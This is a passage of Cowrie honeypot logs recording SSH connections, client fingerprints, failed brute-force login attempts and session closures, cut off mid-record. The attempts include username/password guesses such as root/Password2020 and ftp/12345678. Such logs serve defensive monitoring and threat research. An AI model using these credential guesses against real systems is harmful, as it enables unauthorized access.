{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:25:56.810483Z","src_ip":"27.71.230.31","session":"d021ddac5498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2020","message":"login attempt [root/Password2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:00.487535Z","src_ip":"27.71.230.31","session":"d021ddac5498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:02.179605Z","src_ip":"27.71.230.31","session":"d021ddac5498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1203,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f5b9ab3e267","protocol":"ssh","message":"New connection: 102.88.137.80:1203 (10.17.0.5:22) [session: 9f5b9ab3e267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:04.632641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:04.638237Z","src_ip":"102.88.137.80","session":"9f5b9ab3e267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:04.820409Z","src_ip":"102.88.137.80","session":"9f5b9ab3e267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux","message":"login attempt [ubuntu/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:05.580958Z","src_ip":"102.88.137.80","session":"9f5b9ab3e267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":51320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffb8b1904646","protocol":"ssh","message":"New connection: 160.251.185.39:51320 (10.17.0.5:22) [session: ffb8b1904646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:06.313952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:06.318549Z","src_ip":"160.251.185.39","session":"ffb8b1904646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:06.503511Z","src_ip":"160.251.185.39","session":"ffb8b1904646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:06.765665Z","src_ip":"102.88.137.80","session":"9f5b9ab3e267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":43666,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3634c60073c","protocol":"ssh","message":"New connection: 77.94.47.83:43666 (159.203.135.109:22) [session: b3634c60073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:07.127563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:07.132399Z","src_ip":"77.94.47.83","session":"b3634c60073c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:07.239338Z","src_ip":"77.94.47.83","session":"b3634c60073c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git12345","message":"login attempt [ubuntu/git12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:07.278232Z","src_ip":"160.251.185.39","session":"ffb8b1904646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"564236","message":"login attempt [root/564236] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:07.595559Z","src_ip":"77.94.47.83","session":"b3634c60073c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:08.475738Z","src_ip":"160.251.185.39","session":"ffb8b1904646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:08.704815Z","src_ip":"77.94.47.83","session":"b3634c60073c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.49181795120239,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:22.610608Z","src_ip":"128.199.8.54","session":"a1855b83db18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":52770,"dst_ip":"10.17.0.5","dst_port":22,"session":"74089267e750","protocol":"ssh","message":"New connection: 79.104.0.82:52770 (10.17.0.5:22) [session: 74089267e750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:24.884460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:24.888696Z","src_ip":"79.104.0.82","session":"74089267e750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:25.044822Z","src_ip":"79.104.0.82","session":"74089267e750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"paf","password":"paf123","message":"login attempt [paf/paf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:25.702110Z","src_ip":"79.104.0.82","session":"74089267e750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:26.868696Z","src_ip":"79.104.0.82","session":"74089267e750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":49656,"dst_ip":"10.17.0.5","dst_port":22,"session":"d052b40cb09f","protocol":"ssh","message":"New connection: 102.88.137.80:49656 (10.17.0.5:22) [session: d052b40cb09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:56.337605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:56.341885Z","src_ip":"102.88.137.80","session":"d052b40cb09f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:56.523249Z","src_ip":"102.88.137.80","session":"d052b40cb09f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:57.286057Z","src_ip":"102.88.137.80","session":"d052b40cb09f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:58.478255Z","src_ip":"102.88.137.80","session":"d052b40cb09f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":41808,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aaddc557c2f","protocol":"ssh","message":"New connection: 92.113.145.209:41808 (159.203.135.109:22) [session: 2aaddc557c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:59.868334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:59.871786Z","src_ip":"92.113.145.209","session":"2aaddc557c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:26:59.986377Z","src_ip":"92.113.145.209","session":"2aaddc557c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M3gaP33!","message":"login attempt [root/M3gaP33!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:00.483258Z","src_ip":"92.113.145.209","session":"2aaddc557c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:01.601862Z","src_ip":"92.113.145.209","session":"2aaddc557c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":51986,"dst_ip":"10.17.0.5","dst_port":22,"session":"944387cab560","protocol":"ssh","message":"New connection: 189.203.163.10:51986 (10.17.0.5:22) [session: 944387cab560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:12.481788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:12.485996Z","src_ip":"189.203.163.10","session":"944387cab560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:12.548210Z","src_ip":"189.203.163.10","session":"944387cab560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beasiswa","password":"123456","message":"login attempt [beasiswa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:12.829064Z","src_ip":"189.203.163.10","session":"944387cab560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:13.892902Z","src_ip":"189.203.163.10","session":"944387cab560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":53832,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ace3cfc5c8d","protocol":"ssh","message":"New connection: 5.89.75.194:53832 (10.17.0.5:22) [session: 5ace3cfc5c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:17.342453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:27:17.346832Z","src_ip":"5.89.75.194","session":"5ace3cfc5c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@